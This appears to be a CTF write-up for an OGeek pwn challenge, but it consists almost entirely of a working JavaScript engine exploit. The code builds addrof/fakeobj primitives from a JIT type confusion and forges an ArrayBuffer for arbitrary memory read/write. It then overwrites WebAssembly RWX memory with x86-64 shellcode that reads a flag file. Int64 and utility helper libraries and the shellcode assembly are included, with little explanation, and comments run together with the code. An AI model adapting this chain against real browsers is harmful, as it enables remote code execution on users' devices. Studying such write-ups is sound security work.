OGeek线上CTF挑战赛pwn题详细Write Up

var vuln_idx = 0;var refs = [];var shellcode = [0x48,0xbf,0x22,0x11,0xff,0xee,0xdd,0xcc,0xbb,0xaa,0x48,0x31,0xf6,0xb8,0x02,0x00,0x00,0x00,0x0f,0x05,0x48,0x89,0xfe,0x48,0x89,0xc7,0xba,0x64,0x00,0x00,0x00,0x31,0xc0,0x0f,0x05,0xc3];var flag_buffer = new Uint8Array(0x1000);var flag_path = "/data/local/tmp/flag";let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});let f = wasm_mod.exports._Z3addii;
function addrof(obj) {let _addrof = eval(`(obj) => {  function Inner${vuln_idx}() {    this.a${vuln_idx} = 1.1;    this.b${vuln_idx} = 2.2;  }  function Outer${vuln_idx}(inner) { this.inner${vuln_idx} = inner; }
  var i = new Inner${vuln_idx}();  var o = new Outer${vuln_idx}(i);
  Outer${vuln_idx}.prototype.boom = function () {    return this.inner${vuln_idx}.a${vuln_idx};  }
  for(var idx = 0; idx < 0x10000; idx++) {    o.boom();  }
  o = new Outer${vuln_idx}({a${vuln_idx}: obj, b${vuln_idx}: 2.2});  return o.boom();}  `);  vuln_idx += 1;return _addrof(obj);}
function fakeobj(addr) {let _fakeobj = eval(`(addr) => {  function Inner${vuln_idx}() {    this.a${vuln_idx} = [];    this.b${vuln_idx} = 2.2;  }  function Outer${vuln_idx}(inner) { this.inner${vuln_idx} = inner; }
  var i = new Inner${vuln_idx}();  var o = new Outer${vuln_idx}(i);
  Outer${vuln_idx}.prototype.boom = function () {    return this.inner${vuln_idx}.a${vuln_idx};  }
  for(var idx = 0; idx < 0x10000; idx++) {    o.boom();  }
  o = new Outer${vuln_idx}({a${vuln_idx}: addr, b${vuln_idx}: 2.2});  return o.boom();}  `);  vuln_idx += 1;return _fakeobj(addr);}
// leak map using oobfunction leak_map() {function Outer(inner) {this.inner = inner;  }
var cross_off = 17;var obj_str = "var inner = {";for(var i = 0; i < = cross_off; i++) {    obj_str += String.fromCharCode(0x61 + i);    obj_str += ": 1.1, ";  }  obj_str += "}";eval(obj_str); var outer = new Outer(inner);
  Outer.prototype.boom = function () {return this.inner.r;  };var i2 = {a: 1.1, b: 2.2};var ab = new ArrayBuffer(0x100);for(var i = 0; i < 20000; i++) {    outer.boom();  }
  outer = new Outer(i2);var leak = outer.boom();return leak;}
function u2d(u) {return (new Int64(u)).asDouble();}
function pwn() {// preparationfor(var i = 0; i < 0x1000; i++) {    refs.push([0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7]);  }
// test exploit primitivesvar obj = [1.1, 2.2, 3.3, 4.4];var objaddr = addrof(obj);var o = fakeobj(objaddr);if(o[0] != 1.1) {    print("[-] Exploit primitives not working..");return;  }  print("[+] Exploit primitives working fine.");
// exploitationvar ab_map = leak_map();  print("[+] Leaked map = " + Int64.fromDouble(ab_map).toString());var o = {a:0.0, b:0.0, c:0.0, d:0.0, e:0.0, f:0.0, g: 0.0, h:0.0, i:0.0, j:0.0};  o.b = ab_map;  o.c = ab_map;  o.d = ab_map;  o.e = u2d(0x400);  o.f = u2d(0x41414141);  o.g = ab_map;var o_addr = Int64.fromDouble(addrof(o));  print("[+] Object address: " + o_addr.toString());var faked = Add(o_addr, 0x20);var fake_ab = fakeobj(faked.asDouble());  print("[+] Fake ArrayBuffer created. Length: " + fake_ab.byteLength);
var rw = {set_addr: function (addr) {      o.f = addr.asDouble();    },write: function (addr, bytes) {this.set_addr(addr);var view = new Uint8Array(fake_ab);      view.set(bytes);    },read8: function (addr) {this.set_addr(addr);var view = new Uint8Array(fake_ab);return new Int64(view.slice(0, 8));    },addrof: function (obj) {return Int64.fromDouble(addrof(obj));    }  };
//var flag_ab = new Uint8Array([1,2,3]);
var addr_f = rw.addrof(f);  print("[+] func = " + addr_f.toString());var shared_func_info = rw.read8(Add(Sub(addr_f, Int64.One), new Int64(0x18)));  print("[+] shared_func_info = " + shared_func_info.toString());var exported = rw.read8(Add(Sub(shared_func_info, Int64.One), new Int64(8)));  print("[+] exported = " + exported.toString());var instance = rw.read8(Add(Sub(exported, Int64.One), new Int64(0x10)));  print("[+] instance = " + instance.toString());var rwx_memory = rw.read8(Add(Sub(instance, Int64.One), new Int64(0x88)));  print("[+] rwx_memory = " + rwx_memory.toString());var fb_addr = rw.addrof(flag_buffer);  print("[+] fb_addr = " + fb_addr.toString());var buf_addr = rw.read8(Add(Sub(fb_addr, Int64.One), new Int64(0x38)));  print("[+] buf_addr = " + buf_addr.toString());
for(var i = 0; i < flag_path.length; i++) {    flag_buffer[i] = flag_path.charCodeAt(i);  }for(var i = 0; i < 8; i++) {    shellcode[i + 2] = buf_addr.byteAt(i);  }  rw.write(rwx_memory, shellcode);  f();
var flag = "";for(var i = 0; i < flag_buffer.length; i++) {if(flag_buffer[i] == 0) {break;    }    flag += String.fromCharCode(flag_buffer[i]);  }  print("[+] Flag = " + flag);
  print("[+] Done!");return;}

//// Tiny module that provides big (64bit) integers.//// Copyright (c) 2016 Samuel Groß//// Requires utils.js//
// Datatype to represent 64-bit integers.//// Internally, the integer is stored as a Uint8Array in little endian byte order.function Int64(v) {// The underlying byte array.var bytes = new Uint8Array(8);
switch (typeof v) {case 'number':            v = '0x' + Math.floor(v).toString(16);case 'string':if (v.startsWith('0x'))                v = v.substr(2);if (v.length % 2 == 1)                v = '0' + v;
var bigEndian = unhexlify(v, 8);            bytes.set(Array.from(bigEndian).reverse());break;case 'object':if (v instanceof Int64) {                bytes.set(v.bytes());            } else {if (v.length != 8)throw TypeError("Array must have excactly 8 elements.");                bytes.set(v);            }break;case 'undefined':break;default:throw TypeError("Int64 constructor requires an argument.");    }
// Return a double whith the same underlying bit representation.this.asDouble = function() {// Check for NaNif (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);    };
// Return a javascript value with the same underlying bit representation.// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)// due to double conversion constraints.this.asJSValue = function() {if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.this.assignSub(this, 0x1000000000000);var res = Struct.unpack(Struct.float64, bytes);this.assignAdd(this, 0x1000000000000);
return res;    };
// Return the underlying bytes of this number as array.this.bytes = function() {return Array.from(bytes);    };
// Return the byte at the given index.this.byteAt = function(i) {return bytes[i];    };
// Return the value of this number as unsigned hex string.this.toString = function() {return '0x' + hexlify(Array.from(bytes).reverse());    };
this.asInt = function() {return parseInt(this.toString());    }
// Basic arithmetic.// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care// of converting arguments to Int64 instances if required.function operation(f, nargs) {return function() {if (arguments.length != nargs)throw Error("Not enough arguments for function " + f.name);for (var i = 0; i < arguments.length; i++)if (!(arguments[i] instanceof Int64))arguments[i] = new Int64(arguments[i]);return f.apply(this, arguments);        };    }
// this = -n (two's complement)this.assignNeg = operation(function neg(n) {for (var i = 0; i < 8; i++)            bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);    }, 1);
// this = a + bthis.assignAdd = operation(function add(a, b) {var carry = 0;for (var i = 0; i < 8; i++) {var cur = a.byteAt(i) + b.byteAt(i) + carry;            carry = cur > 0xff | 0;            bytes[i] = cur;        }return this;    }, 2);
// this = a - bthis.assignSub = operation(function sub(a, b) {var carry = 0;for (var i = 0; i < 8; i++) {var cur = a.byteAt(i) - b.byteAt(i) - carry;            carry = cur < 0 | 0;            bytes[i] = cur;        }return this;    }, 2);
// this = a ^ bthis.assignXor = operation(function sub(a, b) {for (var i = 0; i < 8; i++) {            bytes[i] = a.byteAt(i) ^ b.byteAt(i);        }return this;    }, 2);}
// Constructs a new Int64 instance with the same bit representation as the provided double.Int64.fromDouble = function(d) {var bytes = Struct.pack(Struct.float64, d);return new Int64(bytes);};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)function Neg(n) {return (new Int64()).assignNeg(n);}
// Return a + bfunction Add(a, b) {return (new Int64()).assignAdd(a, b);}
// Return a - bfunction Sub(a, b) {return (new Int64()).assignSub(a, b);}
// Return a ^ bfunction Xor(a, b) {return (new Int64()).assignXor(a, b);}
// Some commonly used numbers.Int64.Zero = new Int64(0);Int64.One = new Int64(1);

; nasm -f bin -o shellcode.bin shellcode.asmorg 0100hBITS 64
mov rdi, 0xaabbccddeeff1122xor rsi, rsimov eax, 2syscall
mov rsi, rdimov rdi, raxmov rdx, 0x64xor eax, eaxsyscall
ret

//// Utility functions.//// Copyright (c) 2016 Samuel Groß//
// Print function in browser context.function browser_print(msg) {console.log(msg);document.body.innerText += msg + 'n';}
if (typeof(window) !== 'undefined')    print = browser_print;
// Log a message and abort execution.function fail(msg) {    print("[-] " + msg);throw null;}
// Simple assert function.function assert(cond, msg) {if (!cond) {        fail(msg);    }}
// Return the hexadecimal representation of the given byte.function hex(b) {return ('0' + b.toString(16)).substr(-2);}
// Return the hexadecimal representation of the given byte array.function hexlify(bytes) {var res = [];for (var i = 0; i < bytes.length; i++)        res.push(hex(bytes[i]));
return res.join('');}
// Return the binary data represented by the given hexdecimal string.function unhexlify(hexstr) {if (hexstr.length % 2 == 1)throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);for (var i = 0; i < hexstr.length; i += 2)        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;}
function hexdump(data) {if (typeof data.BYTES_PER_ELEMENT !== 'undefined')        data = Array.from(data);
var lines = [];for (var i = 0; i < data.length; i += 16) {var chunk = data.slice(i, i+16);var parts = chunk.map(hex);if (parts.length > 8)            parts.splice(8, 0, ' ');        lines.push(parts.join(' '));    }
return lines.join('n');}
// Simplified version of the similarly named python module.var Struct = (function() {// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.var buffer      = new ArrayBuffer(8);var byteView    = new Uint8Array(buffer);var uint32View  = new Uint32Array(buffer);var float64View = new Float64Array(buffer);
return {pack: function(type, value) {var view = type;        // See below            view[0] = value;return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);        },
unpack: function(type, bytes) {if (bytes.length !== type.BYTES_PER_ELEMENT)throw Error("Invalid bytearray");
var view = type;        // See below            byteView.set(bytes);return view[0];        },
// Available types.        int8:    byteView,int32:   uint32View,float64: float64View    };})();
let retry = () => {  location.reload(true);};
function DbgBreak() {  alert('Break!');}